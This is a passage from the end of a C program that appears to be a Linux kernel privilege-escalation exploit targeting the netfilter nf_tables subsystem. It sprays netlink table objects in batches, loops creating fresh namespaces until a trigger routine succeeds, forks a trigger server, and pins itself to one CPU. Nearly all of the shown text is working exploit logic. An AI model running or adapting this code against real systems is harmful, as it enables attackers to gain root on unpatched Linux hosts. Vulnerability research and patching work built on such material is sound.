    mnl_nlmsg_batch_next(batch);

    for(int i = 0; i < TABLE_SPRAY; i++){
        nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, family, 0, seq++);
        nftnl_table_nlmsg_build_payload(nlh, tables[i]);
        mnl_nlmsg_batch_next(batch);
    }

    nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
    mnl_nlmsg_batch_next(batch);

    if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) {
        err(1, "mnl_socket_send");
    }

    // wait for unfinished work
    usleep(100*1000);
}

void netfilter(){
    save_state();

    while(1){
        new_ns();
	    net_if("lo", -1, IFF_UP, true);

        nl = mnl_socket_open(NETLINK_NETFILTER);
        if (nl == NULL) {
            err(1, "mnl_socket_open");
        }

        if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) {
            perror("mnl_socket_bind");
            exit(EXIT_FAILURE);
        }

        portid = mnl_socket_get_portid(nl);

        if(!trig()) break;
    }

    int sfd = 0, cfd = 0;

    /* Set up server at TRIG_PORT in a new process */
    sfd = fork();
    if(sfd == 0) {
        setup_trig_server();
        printf("setup_trig_server!\n");
        exit(0);
    }

    trig_net_sock();
    printf("trig_net_sock!\n");

    sleep(100);

    mnl_socket_close(nl);
}

int main(int argc, char ** argv)
{
    new_ns();

	net_if("lo", -1, IFF_UP, true);

    sleep(1);

    cpu_set_t my_set;
    CPU_ZERO(&my_set);
    CPU_SET(0, &my_set);

    if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
        perror("[-] sched_setaffinity()");
        exit(EXIT_FAILURE);
    }

    netfilter();

    return 0;
}